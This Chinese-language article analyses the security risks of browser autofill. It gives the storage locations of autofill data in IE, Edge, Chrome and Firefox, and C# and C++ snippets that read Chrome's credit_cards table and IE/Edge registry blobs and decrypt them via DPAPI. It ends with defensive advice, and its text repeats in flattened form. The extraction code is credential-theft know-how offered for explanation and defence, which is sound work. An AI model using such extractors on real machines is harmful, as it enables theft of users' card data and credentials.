浏览器的自动填充功能真的安全吗?我看未必!
字数 1339 2025-08-18 11:37:15

浏览器自动填充功能的安全风险与数据提取技术分析

1. 浏览器自动填充功能概述

现代浏览器(包括IE、Edge、Chrome和Firefox)都提供了自动填充功能,可以存储用户的各种信息(包括信用卡数据、用户名、密码等),并在需要时自动填充到表单字段中。这种功能虽然提供了便利,但也带来了严重的安全隐患。

2. 自动填充数据的存储位置

不同浏览器将自动填充数据存储在不同的位置:

2.1 Internet Explorer (IE) 和 Microsoft Edge

  • 注册表键值:
    HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\FormData
    HKEY_CURRENT_USER\Software\Classes\LocalSettings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData
    HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\Storage1
    HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\Storage2
    

2.2 Google Chrome

  • SQLite数据库文件:
    %LocalAppData%\Google\Chrome\UserData\Default\Web Data
    

2.3 Mozilla Firefox

  • SQLite数据库文件:
    %AppData%\Mozilla\Firefox\Profiles\{uniqString}.default\formhistory.sqlite
    

3. 数据加密机制

3.1 IE、Edge和Chrome的加密方式

这些浏览器使用Windows DPAPI(数据保护应用编程接口)对自动填充数据进行加密/解密:

  • 加密/解密过程在同一用户环境下自动完成
  • 不需要用户干预或输入额外密码
  • 任何运行在同一用户环境下的脚本或代码都可以调用DPAPI进行解密

3.2 Firefox的特殊情况

Firefox在存储自动填充数据时完全不进行加密,所有数据都以明文形式存储在SQLite数据库中。

4. 数据提取技术分析

4.1 提取Chrome信用卡数据的步骤

  1. 定位SQLite数据库文件:
    %LocalAppData%\Google\Chrome\UserData\Default\Web Data
    
  2. 查询"credit_cards"表
  3. 使用DPAPI的CryptUnprotectData函数解密card_number字段

Chrome数据提取代码示例(C#):

string SQLiteFilePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data";
string tableName = "credit_cards";
string ConnectionString = "data source=" + SQLiteFilePath + ";New=True;UseUTF16Encoding=True";
string sql = string.Format("SELECT * FROM {0} ", tableName);
SQLiteConnection connect = new SQLiteConnection(ConnectionString);
SQLiteCommand command = new SQLiteCommand(sql, connect);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
DataTable DB = new DataTable();
adapter.Fill(DB);

4.2 提取IE和Edge数据的步骤

  1. 访问相关注册表键
  2. 读取加密的BlobData值
  3. 使用DPAPI解密数据

IE&Edge数据提取代码示例(C++):

DATA_BLOB DataIn;
DATA_BLOB DataVerify;
std::vector<LPCWSTR> RegKeys;
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\FormData");
RegKeys.push_back(L"Software\\Classes\\LocalSettings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData");
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage1");
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage2");

for(int i = 0; i < 4; i++) {
    // 打开注册表键
    RegOpenKeyEx(HKEY_CURRENT_USER, RegKeys[i], 0, KEY_QUERY_VALUE, &hKey);
    // 读取并解密每个键值
    for(int j = 0; j < keyValues.size(); j++) {
        RegQueryValueEx(hKey, keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize);
        DataIn.cbData = dwBufSize;
        DataIn.pbData = dwReturn;
        decryptContentDPAPI(&DataIn, &DataVerify);
    }
}

4.3 DPAPI关键函数说明

使用CryptUnprotectData函数解密数据:

BOOL CryptUnprotectData(
  DATA_BLOB *pDataIn,
  LPWSTR *ppszDataDescr,
  DATA_BLOB *pOptionalEntropy,
  PVOID pPromptStruct,
  DWORD dwFlags,
  DATA_BLOB *pDataOut
);

重要参数:

  • pDataIn:指向包含加密数据的DATA_BLOB结构体
  • ppszDataDescr:指向加密数据描述字符串的指针
  • pOptionalEntropy:指向包含额外密钥或熵的DATA_BLOB结构体
  • pPromptStruct:应设置为NULL
  • pDataOut:接收解密数据的DATA_BLOB结构体

5. 安全风险分析

  1. 低权限攻击:任何运行在用户环境下的恶意代码都可以提取这些数据,不需要特殊权限
  2. 自动化攻击:攻击可以完全自动化进行,用户无感知
  3. 数据集中风险:信用卡数据与其他敏感信息存储在同一位置
  4. 加密缺陷:虽然使用了DPAPI加密,但解密过程过于自动化

6. 防护建议

  1. 禁用浏览器自动填充功能,特别是对于信用卡等敏感信息
  2. 使用专用密码管理器而非浏览器内置功能存储敏感数据
  3. 定期清理浏览器存储的自动填充数据
  4. 使用虚拟机或沙盒环境进行敏感操作
  5. 启用双因素认证保护重要账户
  6. 监控注册表和SQLite数据库的异常访问

7. 结论

浏览器自动填充功能虽然提供了便利,但其安全实现存在严重缺陷。攻击者可以相对容易地提取存储的敏感信息,包括信用卡数据。用户应当充分了解这些风险,并采取适当措施保护自己的敏感信息。对于企业环境,应考虑通过组策略禁用这些功能或实施额外的安全控制措施。

浏览器自动填充功能的安全风险与数据提取技术分析 1. 浏览器自动填充功能概述 现代浏览器(包括IE、Edge、Chrome和Firefox)都提供了自动填充功能,可以存储用户的各种信息(包括信用卡数据、用户名、密码等),并在需要时自动填充到表单字段中。这种功能虽然提供了便利,但也带来了严重的安全隐患。 2. 自动填充数据的存储位置 不同浏览器将自动填充数据存储在不同的位置: 2.1 Internet Explorer (IE) 和 Microsoft Edge 注册表键值: 2.2 Google Chrome SQLite数据库文件: 2.3 Mozilla Firefox SQLite数据库文件: 3. 数据加密机制 3.1 IE、Edge和Chrome的加密方式 这些浏览器使用Windows DPAPI(数据保护应用编程接口)对自动填充数据进行加密/解密: 加密/解密过程在同一用户环境下自动完成 不需要用户干预或输入额外密码 任何运行在同一用户环境下的脚本或代码都可以调用DPAPI进行解密 3.2 Firefox的特殊情况 Firefox在存储自动填充数据时 完全不进行加密 ,所有数据都以明文形式存储在SQLite数据库中。 4. 数据提取技术分析 4.1 提取Chrome信用卡数据的步骤 定位SQLite数据库文件: 查询"credit_ cards"表 使用DPAPI的CryptUnprotectData函数解密card_ number字段 Chrome数据提取代码示例(C#): 4.2 提取IE和Edge数据的步骤 访问相关注册表键 读取加密的BlobData值 使用DPAPI解密数据 IE&Edge数据提取代码示例(C++): 4.3 DPAPI关键函数说明 使用 CryptUnprotectData 函数解密数据: 重要参数: pDataIn :指向包含加密数据的DATA_ BLOB结构体 ppszDataDescr :指向加密数据描述字符串的指针 pOptionalEntropy :指向包含额外密钥或熵的DATA_ BLOB结构体 pPromptStruct :应设置为NULL pDataOut :接收解密数据的DATA_ BLOB结构体 5. 安全风险分析 低权限攻击 :任何运行在用户环境下的恶意代码都可以提取这些数据,不需要特殊权限 自动化攻击 :攻击可以完全自动化进行,用户无感知 数据集中风险 :信用卡数据与其他敏感信息存储在同一位置 加密缺陷 :虽然使用了DPAPI加密,但解密过程过于自动化 6. 防护建议 禁用浏览器自动填充功能 ,特别是对于信用卡等敏感信息 使用专用密码管理器 而非浏览器内置功能存储敏感数据 定期清理浏览器存储的自动填充数据 使用虚拟机或沙盒环境 进行敏感操作 启用双因素认证 保护重要账户 监控注册表和SQLite数据库 的异常访问 7. 结论 浏览器自动填充功能虽然提供了便利,但其安全实现存在严重缺陷。攻击者可以相对容易地提取存储的敏感信息,包括信用卡数据。用户应当充分了解这些风险,并采取适当措施保护自己的敏感信息。对于企业环境,应考虑通过组策略禁用这些功能或实施额外的安全控制措施。